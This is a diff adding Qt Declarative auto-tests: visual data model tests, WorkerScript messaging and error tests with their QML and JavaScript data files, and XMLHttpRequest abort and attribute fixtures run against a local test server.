+ QTest::ignoreMessage(QtWarningMsg, source.toString().toLatin1() + ":11: ReferenceError: Can't find variable: modelData");
+ QTest::ignoreMessage(QtWarningMsg, source.toString().toLatin1() + ":11: ReferenceError: Can't find variable: modelData");
+ QTest::ignoreMessage(QtWarningMsg, source.toString().toLatin1() + ":11: ReferenceError: Can't find variable: modelData");
+ QTest::ignoreMessage(QtWarningMsg, source.toString().toLatin1() + ":9: ReferenceError: Can't find variable: modelData");
+ QTest::ignoreMessage(QtWarningMsg, source.toString().toLatin1() + ":9: ReferenceError: Can't find variable: modelData");
+ QTest::ignoreMessage(QtWarningMsg, source.toString().toLatin1() + ":9: ReferenceError: Can't find variable: modelData");
+ QTest::ignoreMessage(QtWarningMsg, source.toString().toLatin1() + ":15: TypeError: Result of expression 'model.modelData' [undefined] is not an object.");
+ QTest::ignoreMessage(QtWarningMsg, source.toString().toLatin1() + ":15: TypeError: Result of expression 'model.modelData' [undefined] is not an object.");
+ QTest::ignoreMessage(QtWarningMsg, source.toString().toLatin1() + ":15: TypeError: Result of expression 'model.modelData' [undefined] is not an object.");
+
+ view.setSource(source);
+
+ QDeclarativeListView *listview = qobject_cast<QDeclarativeListView*>(view.rootObject());
+ QVERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QVERIFY(contentItem != 0);
+
+ QDeclarativeItem *delegate = findItem<QDeclarativeItem>(contentItem, "delegate", 1);
+ QCOMPARE(delegate->property("test1").toString(),QString("Row 2 Item"));
+ QCOMPARE(delegate->property("test2").toString(),QString("Row 2 Item"));
+ QVERIFY(!delegate->property("test3").isValid());
+ QVERIFY(!delegate->property("test4").isValid());
+ QVERIFY(!delegate->property("test5").isValid());
+ QVERIFY(!delegate->property("test9").isValid());
+ QVERIFY(delegate->property("test6").value<QObject*>() != 0);
+ QCOMPARE(delegate->property("test7").toInt(),1);
+ QCOMPARE(delegate->property("test8").toInt(),1);
+ }
+
+ //### should also test QStringList and QVariantList
+}
+
+void tst_qdeclarativevisualdatamodel::noDelegate()
+{
+ QDeclarativeView view;
+
+ QStandardItemModel model;
+ initStandardTreeModel(&model);
+
+ view.rootContext()->setContextProperty("myModel", &model);
+
+ view.setSource(QUrl::fromLocalFile(SRCDIR "/data/datalist.qml"));
+
+ QDeclarativeListView *listview = qobject_cast<QDeclarativeListView*>(view.rootObject());
+ QVERIFY(listview != 0);
+
+ QDeclarativeVisualDataModel *vdm = listview->findChild<QDeclarativeVisualDataModel*>("visualModel");
+ QVERIFY(vdm != 0);
+ QCOMPARE(vdm->count(), 3);
+
+ vdm->setDelegate(0);
+ QCOMPARE(vdm->count(), 0);
+}
+
+
+void tst_qdeclarativevisualdatamodel::qaimRowsMoved()
+{
+ // Test parameters passed in QAIM::rowsMoved() signal are converted correctly
+ // when translated and emitted as the QListModelInterface::itemsMoved() signal
+ QFETCH(int, sourceFirst);
+ QFETCH(int, sourceLast);
+ QFETCH(int, destinationChild);
+ QFETCH(int, expectFrom);
+ QFETCH(int, expectTo);
+ QFETCH(int, expectCount);
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/visualdatamodel.qml"));
+
+ SingleRoleModel model;
+ model.list.clear();
+ for (int i=0; i<30; i++)
+ model.list << ("item " + i);
+ engine.rootContext()->setContextProperty("myModel", &model);
+
+ QDeclarativeVisualDataModel *obj = qobject_cast<QDeclarativeVisualDataModel*>(c.create());
+ QVERIFY(obj != 0);
+
+ QSignalSpy spy(obj, SIGNAL(itemsMoved(int,int,int)));
+ model.emitMove(sourceFirst, sourceLast, destinationChild);
+ QTRY_COMPARE(spy.count(), 1);
+
+ QCOMPARE(spy[0].count(), 3);
+ QCOMPARE(spy[0][0].toInt(), expectFrom);
+ QCOMPARE(spy[0][1].toInt(), expectTo);
+ QCOMPARE(spy[0][2].toInt(), expectCount);
+
+ delete obj;
+}
+
+void tst_qdeclarativevisualdatamodel::qaimRowsMoved_data()
+{
+ QTest::addColumn<int>("sourceFirst");
+ QTest::addColumn<int>("sourceLast");
+ QTest::addColumn<int>("destinationChild");
+ QTest::addColumn<int>("expectFrom");
+ QTest::addColumn<int>("expectTo");
+ QTest::addColumn<int>("expectCount");
+
+ QTest::newRow("move 1 forward")
+ << 1 << 1 << 6
+ << 1 << 5 << 1;
+
+ QTest::newRow("move 1 backwards")
+ << 4 << 4 << 1
+ << 4 << 1 << 1;
+
+ QTest::newRow("move multiple forwards")
+ << 0 << 2 << 13
+ << 0 << 10 << 3;
+
+ QTest::newRow("move multiple forwards, with same to")
+ << 0 << 1 << 3
+ << 0 << 1 << 2;
+
+ QTest::newRow("move multiple backwards")
+ << 10 << 14 << 1
+ << 10 << 1 << 5;
+}
+
+
+template<typename T>
+T *tst_qdeclarativevisualdatamodel::findItem(QGraphicsObject *parent, const QString &objectName, int index)
+{
+ const QMetaObject &mo = T::staticMetaObject;
+ //qDebug() << parent->childItems().count() << "children";
+ for (int i = 0; i < parent->childItems().count(); ++i) {
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(parent->childItems().at(i));
+ if(!item)
+ continue;
+ //qDebug() << "try" << item;
+ if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName)) {
+ if (index != -1) {
+ QDeclarativeExpression e(qmlContext(item), item, "index");
+ if (e.evaluate().toInt() == index)
+ return static_cast<T*>(item);
+ } else {
+ return static_cast<T*>(item);
+ }
+ }
+ item = findItem<T>(item, objectName, index);
+ if (item)
+ return static_cast<T*>(item);
+ }
+
+ return 0;
+}
+
+QTEST_MAIN(tst_qdeclarativevisualdatamodel)
+
+#include "tst_qdeclarativevisualdatamodel.moc"
diff --git a/tests/auto/declarative/qdeclarativeworkerscript/data/BaseWorker.qml b/tests/auto/declarative/qdeclarativeworkerscript/data/BaseWorker.qml
new file mode 100644
index 00000000..b419c830
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeworkerscript/data/BaseWorker.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+
+WorkerScript {
+ id: worker
+
+ property variant response
+
+ signal done()
+
+ function testSend(value) {
+ worker.sendMessage(value)
+ }
+
+ function compareLiteralResponse(expected) {
+ var e = eval('(' + expected + ')')
+ return JSON.stringify(worker.response) == JSON.stringify(e)
+ }
+
+ onMessage: {
+ worker.response = messageObject
+ worker.done()
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativeworkerscript/data/Global.js b/tests/auto/declarative/qdeclarativeworkerscript/data/Global.js
new file mode 100644
index 00000000..6bdb4a56
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeworkerscript/data/Global.js
@@ -0,0 +1 @@
+var data = "World"
diff --git a/tests/auto/declarative/qdeclarativeworkerscript/data/script.js b/tests/auto/declarative/qdeclarativeworkerscript/data/script.js
new file mode 100644
index 00000000..90aae263
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeworkerscript/data/script.js
@@ -0,0 +1,4 @@
+WorkerScript.onMessage = function(msg) {
+ WorkerScript.sendMessage(msg)
+}
+
diff --git a/tests/auto/declarative/qdeclarativeworkerscript/data/script_error_onCall.js b/tests/auto/declarative/qdeclarativeworkerscript/data/script_error_onCall.js
new file mode 100644
index 00000000..f589b0ef
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeworkerscript/data/script_error_onCall.js
@@ -0,0 +1,6 @@
+WorkerScript.onMessage = function(msg) {
+ var a = 123
+ var b = 345
+ var f = getData()
+}
+
diff --git a/tests/auto/declarative/qdeclarativeworkerscript/data/script_error_onLoad.js b/tests/auto/declarative/qdeclarativeworkerscript/data/script_error_onLoad.js
new file mode 100644
index 00000000..1d6eab22
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeworkerscript/data/script_error_onLoad.js
@@ -0,0 +1,5 @@
+WorkerScript.onMessage = function(msg) {
+ var a = 123
+ aoij awef aljfaow eij
+}
+
diff --git a/tests/auto/declarative/qdeclarativeworkerscript/data/script_fixed_return.js b/tests/auto/declarative/qdeclarativeworkerscript/data/script_fixed_return.js
new file mode 100644
index 00000000..14f6f178
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeworkerscript/data/script_fixed_return.js
@@ -0,0 +1,4 @@
+WorkerScript.onMessage = function(msg) {
+ WorkerScript.sendMessage('Hello_World')
+}
+
diff --git a/tests/auto/declarative/qdeclarativeworkerscript/data/script_include.js b/tests/auto/declarative/qdeclarativeworkerscript/data/script_include.js
new file mode 100644
index 00000000..0385d911
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeworkerscript/data/script_include.js
@@ -0,0 +1,5 @@
+WorkerScript.onMessage = function(msg) {
+ var res = Qt.include("Global.js");
+ WorkerScript.sendMessage(msg + " " + data)
+}
+
diff --git a/tests/auto/declarative/qdeclarativeworkerscript/data/script_pragma.js b/tests/auto/declarative/qdeclarativeworkerscript/data/script_pragma.js
new file mode 100644
index 00000000..cb3b6d33
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeworkerscript/data/script_pragma.js
@@ -0,0 +1,6 @@
+.pragma library
+
+WorkerScript.onMessage = function(msg) {
+ WorkerScript.sendMessage(msg)
+}
+
diff --git a/tests/auto/declarative/qdeclarativeworkerscript/data/worker.qml b/tests/auto/declarative/qdeclarativeworkerscript/data/worker.qml
new file mode 100644
index 00000000..0c439c49
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeworkerscript/data/worker.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+BaseWorker {
+ source: "script.js"
+}
diff --git a/tests/auto/declarative/qdeclarativeworkerscript/data/worker_error_onCall.qml b/tests/auto/declarative/qdeclarativeworkerscript/data/worker_error_onCall.qml
new file mode 100644
index 00000000..90c4617f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeworkerscript/data/worker_error_onCall.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+BaseWorker {
+ source: "script_error_onCall.js"
+}
+
diff --git a/tests/auto/declarative/qdeclarativeworkerscript/data/worker_error_onLoad.qml b/tests/auto/declarative/qdeclarativeworkerscript/data/worker_error_onLoad.qml
new file mode 100644
index 00000000..0b9d21dc
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeworkerscript/data/worker_error_onLoad.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+BaseWorker {
+ source: "script_error_onLoad.js"
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativeworkerscript/data/worker_include.qml b/tests/auto/declarative/qdeclarativeworkerscript/data/worker_include.qml
new file mode 100644
index 00000000..595cb2b5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeworkerscript/data/worker_include.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+BaseWorker {
+ source: "script_include.js"
+}
diff --git a/tests/auto/declarative/qdeclarativeworkerscript/data/worker_pragma.qml b/tests/auto/declarative/qdeclarativeworkerscript/data/worker_pragma.qml
new file mode 100644
index 00000000..a8800ad0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeworkerscript/data/worker_pragma.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+BaseWorker {
+ source: "script_pragma.js"
+}
+
diff --git a/tests/auto/declarative/qdeclarativeworkerscript/qdeclarativeworkerscript.pro b/tests/auto/declarative/qdeclarativeworkerscript/qdeclarativeworkerscript.pro
new file mode 100644
index 00000000..e20c3e6a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeworkerscript/qdeclarativeworkerscript.pro
@@ -0,0 +1,16 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative script
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativeworkerscript.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativeworkerscript/tst_qdeclarativeworkerscript.cpp b/tests/auto/declarative/qdeclarativeworkerscript/tst_qdeclarativeworkerscript.cpp
new file mode 100644
index 00000000..0fbdd0ab
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeworkerscript/tst_qdeclarativeworkerscript.cpp
@@ -0,0 +1,292 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QtCore/qdebug.h>
+#include <QtCore/qtimer.h>
+#include <QtCore/qdir.h>
+#include <QtCore/qfileinfo.h>
+#include <QtScript/qscriptengine.h>
+
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativeitem.h>
+
+#include <private/qdeclarativeworkerscript_p.h>
+#include <private/qdeclarativeengine_p.h>
+#include "../../../shared/util.h"
+
+Q_DECLARE_METATYPE(QScriptValue)
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+inline QUrl TEST_FILE(const QString &filename)
+{
+ QFileInfo fileInfo(__FILE__);
+ return QUrl::fromLocalFile(fileInfo.absoluteDir().filePath(filename));
+}
+
+
+class tst_QDeclarativeWorkerScript : public QObject
+{
+ Q_OBJECT
+public:
+ tst_QDeclarativeWorkerScript() {}
+private slots:
+ void source();
+ void messaging();
+ void messaging_data();
+ void messaging_sendQObjectList();
+ void messaging_sendJsObject();
+ void script_with_pragma();
+ void script_included();
+ void scriptError_onLoad();
+ void scriptError_onCall();
+
+private:
+ void waitForEchoMessage(QDeclarativeWorkerScript *worker) {
+ QEventLoop loop;
+ QVERIFY(connect(worker, SIGNAL(done()), &loop, SLOT(quit())));
+ QTimer timer;
+ timer.setSingleShot(true);
+ connect(&timer, SIGNAL(timeout()), &loop, SLOT(quit()));
+ timer.start(10000);
+ loop.exec();
+ QVERIFY(timer.isActive());
+ }
+
+ QDeclarativeEngine m_engine;
+};
+
+void tst_QDeclarativeWorkerScript::source()
+{
+ QDeclarativeComponent component(&m_engine, SRCDIR "/data/worker.qml");
+ QDeclarativeWorkerScript *worker = qobject_cast<QDeclarativeWorkerScript*>(component.create());
+ QVERIFY(worker != 0);
+ const QMetaObject *mo = worker->metaObject();
+
+ QVariant value(100);
+ QVERIFY(QMetaObject::invokeMethod(worker, "testSend", Q_ARG(QVariant, value)));
+ waitForEchoMessage(worker);
+ QCOMPARE(mo->property(mo->indexOfProperty("response")).read(worker).value<QVariant>(), value);
+
+ QUrl source = QUrl::fromLocalFile(SRCDIR "/data/script_fixed_return.js");
+ worker->setSource(source);
+ QCOMPARE(worker->source(), source);
+ QVERIFY(QMetaObject::invokeMethod(worker, "testSend", Q_ARG(QVariant, value)));
+ waitForEchoMessage(worker);
+ QCOMPARE(mo->property(mo->indexOfProperty("response")).read(worker).value<QVariant>(), qVariantFromValue(QString("Hello_World")));
+
+ qApp->processEvents();
+ delete worker;
+}
+
+void tst_QDeclarativeWorkerScript::messaging()
+{
+ QFETCH(QVariant, value);
+
+ QDeclarativeComponent component(&m_engine, SRCDIR "/data/worker.qml");
+ QDeclarativeWorkerScript *worker = qobject_cast<QDeclarativeWorkerScript*>(component.create());
+ QVERIFY(worker != 0);
+
+ QVERIFY(QMetaObject::invokeMethod(worker, "testSend", Q_ARG(QVariant, value)));
+ waitForEchoMessage(worker);
+
+ const QMetaObject *mo = worker->metaObject();
+ QCOMPARE(mo->property(mo->indexOfProperty("response")).read(worker).value<QVariant>(), value);
+
+ qApp->processEvents();
+ delete worker;
+}
+
+void tst_QDeclarativeWorkerScript::messaging_data()
+{
+ QTest::addColumn<QVariant>("value");
+
+ QTest::newRow("invalid") << QVariant();
+ QTest::newRow("bool") << qVariantFromValue(true);
+ QTest::newRow("int") << qVariantFromValue(1001);
+ QTest::newRow("real") << qVariantFromValue(10334.375);
+ QTest::newRow("string") << qVariantFromValue(QString("More cheeeese, Gromit!"));
+ QTest::newRow("variant list") << qVariantFromValue((QVariantList() << "a" << "b" << "c"));
+ QTest::newRow("date time") << qVariantFromValue(QDateTime::currentDateTime());
+#ifndef QT_NO_REGEXP
+ // QtScript's QScriptValue -> QRegExp uses RegExp2 pattern syntax
+ QTest::newRow("regexp") << qVariantFromValue(QRegExp("^\\d\\d?$", Qt::CaseInsensitive, QRegExp::RegExp2));
+#endif
+}
+
+void tst_QDeclarativeWorkerScript::messaging_sendQObjectList()
+{
+ // Not allowed to send QObjects other than QDeclarativeWorkerListModelAgent
+ // instances. If objects are sent in a list, they will be sent as 'undefined'
+ // js values.
+
+ QDeclarativeComponent component(&m_engine, SRCDIR "/data/worker.qml");
+ QDeclarativeWorkerScript *worker = qobject_cast<QDeclarativeWorkerScript*>(component.create());
+ QVERIFY(worker != 0);
+
+ QVariantList objects;
+ for (int i=0; i<3; i++)
+ objects << qVariantFromValue(new QObject(this));
+
+ QVERIFY(QMetaObject::invokeMethod(worker, "testSend", Q_ARG(QVariant, qVariantFromValue(objects))));
+ waitForEchoMessage(worker);
+
+ const QMetaObject *mo = worker->metaObject();
+ QVariantList result = mo->property(mo->indexOfProperty("response")).read(worker).value<QVariantList>();
+ QCOMPARE(result, (QVariantList() << QVariant() << QVariant() << QVariant()));
+
+ qApp->processEvents();
+ delete worker;
+}
+
+void tst_QDeclarativeWorkerScript::messaging_sendJsObject()
+{
+ QDeclarativeComponent component(&m_engine, SRCDIR "/data/worker.qml");
+ QDeclarativeWorkerScript *worker = qobject_cast<QDeclarativeWorkerScript*>(component.create());
+ QVERIFY(worker != 0);
+
+ // Properties are in alphabetical order to enable string-based comparison after
+ // QVariant roundtrip, since the properties will be stored in a QVariantMap.
+ QString jsObject = "{'haste': 1125, 'name': 'zyz', 'spell power': 3101}";
+
+ QScriptEngine *engine = QDeclarativeEnginePrivate::getScriptEngine(qmlEngine(worker));
+ QScriptValue sv = engine->newObject();
+ sv.setProperty("haste", 1125);
+ sv.setProperty("name", "zyz");
+ sv.setProperty("spell power", 3101);
+
+ QVERIFY(QMetaObject::invokeMethod(worker, "testSend", Q_ARG(QVariant, qVariantFromValue(sv))));
+ waitForEchoMessage(worker);
+
+ QVariant result = qVariantFromValue(false);
+ QVERIFY(QMetaObject::invokeMethod(worker, "compareLiteralResponse", Qt::DirectConnection,
+ Q_RETURN_ARG(QVariant, result), Q_ARG(QVariant, jsObject)));
+ QVERIFY(result.toBool());
+
+ qApp->processEvents();
+ delete worker;
+}
+
+void tst_QDeclarativeWorkerScript::script_with_pragma()
+{
+ QVariant value(100);
+
+ QDeclarativeComponent component(&m_engine, SRCDIR "/data/worker_pragma.qml");
+ QDeclarativeWorkerScript *worker = qobject_cast<QDeclarativeWorkerScript*>(component.create());
+ QVERIFY(worker != 0);
+
+ QVERIFY(QMetaObject::invokeMethod(worker, "testSend", Q_ARG(QVariant, value)));
+ waitForEchoMessage(worker);
+
+ const QMetaObject *mo = worker->metaObject();
+ QCOMPARE(mo->property(mo->indexOfProperty("response")).read(worker).value<QVariant>(), value);
+
+ qApp->processEvents();
+ delete worker;
+}
+
+void tst_QDeclarativeWorkerScript::script_included()
+{
+ QDeclarativeComponent component(&m_engine, SRCDIR "/data/worker_include.qml");
+ QDeclarativeWorkerScript *worker = qobject_cast<QDeclarativeWorkerScript*>(component.create());
+ QVERIFY(worker != 0);
+
+ QString value("Hello");
+
+ QVERIFY(QMetaObject::invokeMethod(worker, "testSend", Q_ARG(QVariant, value)));
+ waitForEchoMessage(worker);
+
+ const QMetaObject *mo = worker->metaObject();
+ QCOMPARE(mo->property(mo->indexOfProperty("response")).read(worker).toString(), value + " World");
+
+ qApp->processEvents();
+ delete worker;
+}
+
+static QString qdeclarativeworkerscript_lastWarning;
+static void qdeclarativeworkerscript_warningsHandler(QtMsgType type, const char *msg)
+{
+ if (type == QtWarningMsg)
+ qdeclarativeworkerscript_lastWarning = QString::fromUtf8(msg);
+}
+
+void tst_QDeclarativeWorkerScript::scriptError_onLoad()
+{
+ QDeclarativeComponent component(&m_engine, SRCDIR "/data/worker_error_onLoad.qml");
+
+ QtMsgHandler previousMsgHandler = qInstallMsgHandler(qdeclarativeworkerscript_warningsHandler);
+ QDeclarativeWorkerScript *worker = qobject_cast<QDeclarativeWorkerScript*>(component.create());
+ QVERIFY(worker != 0);
+
+ QTRY_COMPARE(qdeclarativeworkerscript_lastWarning,
+ TEST_FILE("data/script_error_onLoad.js").toString() + QLatin1String(":3: SyntaxError: Parse error"));
+
+ qInstallMsgHandler(previousMsgHandler);
+ qApp->processEvents();
+ delete worker;
+}
+
+void tst_QDeclarativeWorkerScript::scriptError_onCall()
+{
+ QDeclarativeComponent component(&m_engine, SRCDIR "/data/worker_error_onCall.qml");
+ QDeclarativeWorkerScript *worker = qobject_cast<QDeclarativeWorkerScript*>(component.create());
+ QVERIFY(worker != 0);
+
+ QtMsgHandler previousMsgHandler = qInstallMsgHandler(qdeclarativeworkerscript_warningsHandler);
+ QVariant value;
+ QVERIFY(QMetaObject::invokeMethod(worker, "testSend", Q_ARG(QVariant, value)));
+
+ QTRY_COMPARE(qdeclarativeworkerscript_lastWarning,
+ TEST_FILE("data/script_error_onCall.js").toString() + QLatin1String(":4: ReferenceError: Can't find variable: getData"));
+
+ qInstallMsgHandler(previousMsgHandler);
+ qApp->processEvents();
+ delete worker;
+}
+
+
+QTEST_MAIN(tst_QDeclarativeWorkerScript)
+
+#include "tst_qdeclarativeworkerscript.moc"
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/abort.expect b/tests/auto/declarative/qdeclarativexmlhttprequest/data/abort.expect
new file mode 100644
index 00000000..4d211225
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/abort.expect
@@ -0,0 +1,10 @@
+PUT /testdocument.html HTTP/1.1
+ACCEPT-LANGUAGE: en-US
+Content-Type: text/plain;charset=UTF-8
+Content-Length: 9
+Connection: Keep-Alive
+Accept-Encoding: gzip
+User-Agent: Mozilla/5.0
+Host: 127.0.0.1:14445
+
+Test Data \ No newline at end of file
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/abort.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/abort.qml
new file mode 100644
index 00000000..0196586b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/abort.qml
@@ -0,0 +1,44 @@
+import QtQuick 1.0
+
+QtObject {
+ property string urlDummy
+ property string url
+
+ property bool seenDone: false
+ property bool didNotSeeUnsent: true
+ property bool endStateUnsent: false
+ property bool dataOK: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+ x.open("GET", urlDummy);
+ x.setRequestHeader("Test-header", "TestValue");
+ x.setRequestHeader("Accept-Language", "en-US");
+ x.send();
+
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+ seenDone = true;
+ } else if (x.readyState == XMLHttpRequest.UNSENT) {
+ didNotSeeUnsent = false;
+ }
+ }
+
+ x.abort();
+
+ if (x.readyState == XMLHttpRequest.UNSENT) {
+ endStateUnsent = true;
+ }
+
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+ dataOK = (x.responseText == "QML Rocks!\n");
+ }
+ }
+ x.open("PUT", url);
+ x.setRequestHeader("Accept-Language", "en-US");
+ x.send("Test Data");
+ }
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/abort.reply b/tests/auto/declarative/qdeclarativexmlhttprequest/data/abort.reply
new file mode 100644
index 00000000..7ae6951f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/abort.reply
@@ -0,0 +1,3 @@
+HTTP/1.0 200 OK
+Connection: close
+Content-type: text/html; charset=UTF-8
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/abort_opened.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/abort_opened.qml
new file mode 100644
index 00000000..aeea2789
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/abort_opened.qml
@@ -0,0 +1,60 @@
+import QtQuick 1.0
+
+QtObject {
+ property string url: "testdocument.html"
+
+ property bool readyState: false
+ property bool openedState: false
+
+ property bool status: false
+ property bool statusText: false
+ property bool responseText: false
+ property bool responseXML: false
+
+ property bool dataOK: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+ x.abort();
+
+ if (x.readyState == XMLHttpRequest.UNSENT)
+ readyState = true;
+
+ x.open("PUT", url);
+ x.setRequestHeader("Accept-Language", "en-US");
+
+ x.abort();
+
+ x.open("GET", url);
+ x.setRequestHeader("Accept-Language", "en-US");
+
+ if (x.readyState == XMLHttpRequest.OPENED)
+ openedState = true;
+
+ try {
+ var a = x.status;
+ } catch (error) {
+ if (error.code == DOMException.INVALID_STATE_ERR)
+ status = true;
+ }
+ try {
+ var a = x.statusText;
+ } catch (error) {
+ if (error.code == DOMException.INVALID_STATE_ERR)
+ statusText = true;
+ }
+ responseText = (x.responseText == "");
+ responseXML = (x.responseXML == null);
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+ dataOK = (x.responseText == "QML Rocks!\n");
+ }
+ }
+
+
+ x.send()
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/abort_unsent.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/abort_unsent.qml
new file mode 100644
index 00000000..fffc3d9c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/abort_unsent.qml
@@ -0,0 +1,55 @@
+import QtQuick 1.0
+
+QtObject {
+ property string url: "testdocument.html"
+
+ property bool readyState: false
+ property bool openedState: false
+
+ property bool status: false
+ property bool statusText: false
+ property bool responseText: false
+ property bool responseXML: false
+
+ property bool dataOK: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+ x.abort();
+
+ if (x.readyState == XMLHttpRequest.UNSENT)
+ readyState = true;
+
+ x.open("GET", url);
+ x.setRequestHeader("Accept-Language", "en-US");
+
+ if (x.readyState == XMLHttpRequest.OPENED)
+ openedState = true;
+
+ try {
+ var a = x.status;
+ } catch (error) {
+ if (error.code == DOMException.INVALID_STATE_ERR)
+ status = true;
+ }
+ try {
+ var a = x.statusText;
+ } catch (error) {
+ if (error.code == DOMException.INVALID_STATE_ERR)
+ statusText = true;
+ }
+ responseText = (x.responseText == "");
+ responseXML = (x.responseXML == null);
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+ dataOK = (x.responseText == "QML Rocks!\n");
+ }
+ }
+
+
+ x.send()
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/attr.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/attr.qml
new file mode 100644
index 00000000..5d5dd12f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/attr.qml
@@ -0,0 +1,78 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool xmlTest: false
+ property bool dataOK: false
+
+ function checkAttr(documentElement, attr)
+ {
+ if (attr == null)
+ return;
+
+ if (attr.name != "attr")
+ return;
+
+ if (attr.value != "myvalue")
+ return;
+
+ if (attr.ownerElement.tagName != documentElement.tagName)
+ return;
+
+ if (attr.nodeName != "attr")
+ return;
+
+ if (attr.nodeValue != "myvalue")
+ return;
+
+ if (attr.nodeType != 2)
+ return;
+
+ if (attr.childNodes.length != 0)
+ return;
+
+ if (attr.firstChild != null)
+ return;
+
+ if (attr.lastChild != null)
+ return;
+
+ if (attr.previousSibling != null)
+ return;
+
+ if (attr.nextSibling != null)
+ return;
+
+ if (attr.attributes != null)
+ return;
+
+ xmlTest = true;
+ }
+
+ function checkXML(document)
+ {
+ checkAttr(document.documentElement, document.documentElement.attributes[0]);
+ }
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ x.open("GET", "attr.xml");
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+
+ dataOK = true;
+
+ if (x.responseXML != null)
+ checkXML(x.responseXML);
+
+ }
+ }
+
+ x.send()
+ }
+}
+
+
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/attr.xml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/attr.xml
new file mode 100644
index 00000000..2aa64a3d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/attr.xml
@@ -0,0 +1 @@
+<root attr="myvalue" />
